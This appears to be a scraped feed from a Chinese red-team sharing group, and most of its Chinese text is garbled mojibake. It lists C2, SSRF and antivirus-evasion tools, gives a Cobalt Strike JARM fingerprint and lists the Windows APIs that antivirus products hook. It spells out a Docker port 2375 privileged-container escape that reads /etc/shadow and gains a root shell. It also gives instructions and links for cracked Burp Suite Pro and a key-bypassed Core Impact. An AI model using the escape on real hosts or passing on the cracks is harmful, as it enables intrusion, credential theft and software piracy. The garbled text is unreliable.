https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652487407&idx=1&sn=230961321f8bde69a2d3d0707f154e2a&chksm=f2581d5cc52f944af44a839cf7e82ed188167953f67c2b2f04e05b42c03b58a58d1ef2810e50&scene=0&xtrack=1#rd


᤼ᤓߵ: ֦ଘ෸ฎ፥ဌԪఘ [඄ࢀ]
Wing: ݝᚆภӤӥቔ̶ٟࠡܡབ̶
crazyman: ᬯ tql މ
yuhao: ui ํᅩঅ፡ߡ

ޮ๛ᜰԧᅩ෸ᳵ፡ԧ፡ Nim҅ᬯӻᓌፗ੪ฎ python+c ጱᕮݳᇔҁՐᴴԭ win ᖫᑕٌ҅՜ጱ౯Ԟአӧ፳҂҅ݝᥝഩൎԧහഝᔄࣳጱ᫨ഘٌ҅՜ጱ੪ฎಋکග๶ጱԪԧ̶ᴻԧ֛ᑌय़ԏक़҅ᬮ፥ጱဌࠨᗌᅩԧ̶ํي᪁ጱ૵ؓݢզሻӞሻ̶

RedTeaming - 2020-12-13 



crazyman: ڦ਍ԧ ᪙ӧӤԧ

#C2#  
JARMฎӞᐿTLS๐࢏ۓ೰ᕖᦩڦૡ̶ٍਙጱૡ֢ොୗฎԆۖݻፓຽTLS๐ݎ࢏ۓᭆ10ӻTLSਮಁᒒHello۱҅ଚഔ឴TLS๐࢏ۓHelloߥଫጱᇙਧં௔̶ᆐ҅ݸզᇙਧጱොୗᦇᓒTLS๐ߥ࢏ۓଫጱhash҅զኞ౮JARM೰ᕖ̶᭗ᬦᬯӻૡٍ@cedowens ᕳڊԧӞ
ղدଉᥠጱc2೰ᕖ̶ֺইғ
Cobalt Strikeጱ೰ᕖฎ07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

ᮎԍᳯ᷌๶ԧ҅ই֜ਮ۸ګCobalt Strike౯ժ಍ᚆᥢ᭿ᬯӻᳯ᷌ޫҘ

JARMૡٍ᱾ള: GitHub+-+salesforce/jarm
C2-JARM೰ᕖ᱾ള: GitHub+-+cedowens/C2-JARM:+A+list+of+JARM+hashes+f...

#ᄋ၏ڥአ#  
FortiGate SSL-VPN ᄋ၏ಚൈڥ޾አૡ̶ٍ

Fortiscan+-+A+High+Performance+FortiGate+SSL-VPN+V...

#ᄋ၏೵യ#  
ssrf mindmap
ᚆӧᚆ୓Ӟӻᛔۖ۸ᚕ๜̶ӞᲫኞ౮ᬯԶ໒ୗ,ํ෸ᳵ؉Ӟӻᗑᶭᇇጱ̶

RedTeaming - 2020-12-14 

RedTeaming - 2020-12-14 

RedTeaming - 2020-12-14 

https://github.com/salesforce/jarm
https://github.com/cedowens/C2-JARM
https://www.kitploit.com/2020/11/fortiscan-high-performance-fortigate.html?utm_source=dlvr.it&utm_medium=twitter&m=1


#ᄋ၏೵യ#  
ssrf mindmap
ᚆӧᚆ୓Ӟӻᛔۖ۸ᚕ๜̶ӞᲫኞ౮ᬯԶ໒ୗ,ํ෸ᳵ؉Ӟӻᗑᶭᇇጱ̶

RedTeaming - 2020-12-14 



#CSTips#  
ᚸᦔԯፗളعᩇ

ԅ֦ጱC2ᵌᡐӨے᭛

#ᄋ၏ڥአ#  
Docker 2375ள᭛Rce

docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine

File Access: cat /mnt/etc/shadow
RCE: chroot /mnt

#ٖᗑႽ᭐#  

RedTeaming - 2020-12-14 

RedTeaming - 2020-12-15 

RedTeaming - 2020-12-17 

https://mp.weixin.qq.com/s/6nBrRJHFFpCw4N90n8aURA


#ٖᗑႽ᭐ದૣ#  
ྒจ2.0
GitHub+-+byt3bl33d3r/DeathStar:+Uses+Empire's+(htt...

#BypassAV# #๤ع#   
ਡع๤

ᮒկධᴠ--ਡع๤঵۠2

#ဌࠨአጱTips#  
ᦏ֦ጱECSྯᑁ10Mࣈcloneᶱፓ
https://chrome.google.com/webstore/detail/github%E...

RedTeaming - 2020-12-17 

RedTeaming - 2020-12-17 

RedTeaming - 2020-12-18 

https://github.com/byt3bl33d3r/DeathStar
http://wolvez.club/2020/12/17/macro/
https://chrome.google.com/webstore/detail/github%E5%8A%A0%E9%80%9F/mfnkflidjnladnkldfonnaicljppahpg?utm_source=chrome-ntp-icon


gcl https://github.91chifun.workers.dev//https://githu...

#Macૡٍ#  
BurpSuite12.1 
ጯଶԯ,Ꮘᥴֵአhttps://github.com/TrojanAZhen/BurpSuitePro-2.1کӥ᫹உౌ,౯փٖࢵ

᱾ള: https://pan.baidu.com/s/1mdXaPovsSL480JCLgFHEIg  ൉ݐᎱ: Wing ॔ګᬯྦྷٖ਻ݸ಑୏ጯଶᗑፏಋ๢App҅඙֢ๅො׎߶ 
--๶ᛔጯଶᗑፏ᩻ᕆտާv5ጱړՁ

ࢶ౼

Ձӥ౯ᛔ૩MacᏈᥴጱොဩړٚ

಩loaderනࢶࣁӣ֖ᗝ
vmoptionsٖ਻ইӥ

# Enter one VM parameter per line
# For example, to adjust the maximum memory usage to 512 MB, uncomment the following line:
# -Xmx512m
# To include another file, uncomment the following line:
# -include-options [path to other .vmoption file]

-XX:MaxRAMPercentage=50
-include-options user.vmoptions
-noverify 
-javaagent:$APP_PACKAGE/Contents/Resources/app/Burploader2020_x.jar 

ಋۖᄶၚӞӥ,੪ᚆፗളአԧض൉ฎڹ

RedTeaming - 2020-12-19 

https://github.91chifun.workers.dev//https://github.com/iiiusky/alicloud-tools.git
https://github.com/TrojanAZhen/BurpSuitePro-2.1
https://pan.baidu.com/s/1mdXaPovsSL480JCLgFHEIg






#ဌࠨአጱTips#  
IDEA ள᭛ᬬࢧӤེັ፡դᎱጱ֖ᗝ

https://blog.csdn.net/u010814849/article/details/7...

#CSTips#  
CS֢ᘏ๋ᬪڊԧCoreImpact޾CSᘶۖጱරᑕ
https://www.youtube.com/watch?v=9U-hRXsDsis&featur...

֕ฎᬯӻሻ఺൥ӧک

RedTeaming - 2020-12-19 

RedTeaming - 2020-12-19 

https://blog.csdn.net/u010814849/article/details/76682701
https://www.youtube.com/watch?v=9U-hRXsDsis&feature=youtu.be


　: [https://raidforums.com/Thread-CORE-IMPACT-20-1-620...](https://raidforums.com/Thread-CORE-IMPACT-20-1-6201-Binary-PLAIN-Key-Bypassed-Installer-Only)
Wing: ֦ํӥ҅ހᬯӻᒊ౯ဌ꧌᰸

#CSTips#  
क़ᦞࣚӥጱӞӻkit۱ࢵ

RedTeaming - 2020-12-20 



SSPྎ۸࢏

RedTeaming - 2020-12-21 

RedTeaming - 2020-12-21 

https://mp.weixin.qq.com/s/YBAnFbgNd7Q0Eif3Q119qg


#ᄋ၏ڥአ#  
ssrf ጱᄋ၏ڥአૡ̶ٍ

GitHub+-+firebroo/sec_tools

#ᄋ၏ڥአ#  

Ssrf୚ݎጱᤅໜ

#๤ع#  
অਹվ
GitHub+-+rvrsh3ll/NoMSBuild:+MSBuild+without+MSbui...

#ဌࠨአጱTips?#  
Ӟ᩸๶᯿ᤰᔮᕹމ

̶߶׎಑୏ጯଶᗑፏApp҅඙֢ๅොݸᬯྦྷٖ਻ګ॔
᱾ളғhttps://pan.baidu.com/s/1J9vWlQPMovLsd3ZWTgGsHg  
൉ݐᎱғf68a --๶ᛔጯଶᗑፏ᩻ᕆտާV5ጱړՁ

RedTeaming - 2020-12-21 

RedTeaming - 2020-12-21 

RedTeaming - 2020-12-22 

RedTeaming - 2020-12-22 

https://github.com/firebroo/sec_tools
https://mp.weixin.qq.com/s/5nnJEfAFZsqzxq_2-UPZCw
https://github.com/rvrsh3ll/NoMSBuild
https://pan.baidu.com/s/1J9vWlQPMovLsd3ZWTgGsHg


य़ग़හ AV ᮷տ݄ HOOK҅KERNELBASE.DLL҅NTDLL.DLL҅KERNEL32.DLLڹ๤ૡٍጱᏦᏦஷ҅ፓعॠٟپڹԭى

ӾጱىᲫ APIҁӧᘍᡤ.sys ጱఘ٭ӥ)҅զ Norton ԅֺ:

VirtualAllocEx

CreateFileMappingW

CreateFileMappingNumaW

CreateFileW

MapViewOfFile

VirtualProtect

HeapCreate

VirtualAlloc

MapViewOfFileEx

CreateRemoteThreadEx

WriteProcessMemory
ᒵᒵ᮷ฎ HOOK ጱ᝜҅ࢱᮎԍᬯ෸ײ shells.system Ӿጱ unhook ಋဩ੪አӤԧ̶๋অᚆํӞղ᭛ັᤒ੪অԧ᭬҅ӤՋԍັՋԍ̶

RainismG: [GitHub+-+D3VI5H4/Antivirus-Artifacts:+Anti-virus+a...](https://github.com/D3VI5H4/Antivirus-Artifacts)

#Macૡٍ#  
JBقਹ໲ൊկୗᄶၚ
JetbrainsᔮڜԾߝ᯿ᗝᦶአොဩ+|+Ꭳԧ

#๤ع#  
಩bin෈կܴੂےᖽֵݸአᬯӻૡٍᬩᤈ.
ࢶ౼ӥݎጱۑᅩᳯ᷌,ӧᎣ᭲ฎӧฎ360ܴᖽጱᳯ᷌,य़ਹၥᦶ౮ڊᬩᤈ.౯ᬯ᯾ၥᦶਂٖݸզᥴੂݢ
GitHub+-+jfmaes/SharpZipRunner:+Executes+position+...

#ᏦᏦஷ#  
zsxqํՋԍঅᅩጱᆻᡩހ,మ಩2020ଙԏڹጱӳᥜೲᆙຽᓋᆻӞӥ.

Wing: ᵱᥝෆቘӥ
᤼ᤓߵ: ֦ᦶᦶᮎӻ sitetru ՋԍՋԍጱᮎӻ
Wing: ᆻӞտᤩ༄ၥکᨴݩ੪տᤩ୩ګᭅڊ

RedTeaming - 2020-12-22 

RedTeaming - 2020-12-22 

RedTeaming - 2020-12-22 

https://zhile.io/2020/11/18/jetbrains-eval-reset.html
https://github.com/jfmaes/SharpZipRunner
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